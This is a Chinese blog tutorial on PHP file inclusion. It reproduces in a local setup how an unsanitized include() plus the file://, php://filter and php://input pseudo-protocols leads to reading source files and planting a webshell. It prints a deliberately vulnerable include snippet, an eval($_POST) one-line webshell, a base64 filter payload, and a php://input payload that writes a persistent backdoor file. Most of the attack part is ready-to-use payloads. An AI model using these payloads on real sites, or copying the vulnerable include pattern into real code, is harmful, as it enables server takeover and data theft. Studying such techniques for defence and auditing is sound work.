php审计--通过php伪协议配合⽂件包含写⼊shell
有友问过这样⼀个问题,,
http:xxx/123.jpg 传上这样的图⽚马能不能连到shell?
这有⼏种情况,,,php解析吧jpg解析成php,iis吧jpg解析成php都可以
我们这⾥通过php伪协议+存在⽂件包含的页⾯做个复现
先写个include函数,include后⾯没做处理的
<?php
$file=$_GET['a'];
include"$file";
to
然后,,如果⽬录阶乘符不能⽤,url编码后⽆法绕过,尝试file协议
在我本地环境www⽬录下存在⼀个⽆类型的aa⽂件,这⾥往aa⽂件写⼊
phpinfo,可以看到include函数还是解析了出来
然后,很多⼈就奇怪了,天天写⼊phpinfo有啥⽤?⼜不能拿shell
这⾥我说⼀下,phpinfo它是php站点的配置⽂件,我们下⼀步渗透的攻击⾯很⼤程度从phpinfo过来,如果能写⼊phpinfo,⼤概率都能命令执⾏
⽐如跟在phpinfo后⾯写⼊⼀句话
<?php
phpinfo();
@eval($_POST['hacker']);
我们访问aa⽂件还是phpinfo页⾯,但⼀句话已经写⼊了,注意看⼩马的url
**file协议对 allow_url_fopen: off/on allow_url_include: off/on (均不受影响)。
在渗透中只要存在⽂件包含,就能读取⽂件,需要只要绝对路径
这不是初步的利⽤⽅式,可以通过filter协议读取配置⽂件源码,⽐如/admin/config
allow_url_fopen: off/on allow_url_include: off/on (均不受影响)
这⾥注意,如果要⽤filter协议要转成base64,不然代码就当php代码执⾏,读取源码的⽬的就失效了
payload:php://filter/read=convert.base64-encode/resource=
最后⼀种,也是php伪协议的⼤杀器,,input//协议,,如果站点某个页⾯存在⽂件包含,,过滤不严,同时我们通过别的⼿段,⽐如phpinfo到站点的绝对路径,allow_url_include是开启的,那么可以直接写⼊shell
a=php://input POST提交下⾯的payload:
<?php fputs(fopen('O:\phpstudy\WWW\a.php','w'),'<?php @eval($_POST[a]);')?>
注意$_POST⾥⾯不要写单引号,不然和后⾯闭合了,fputs函数写⼊失败
shell创建文件并写入内容

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。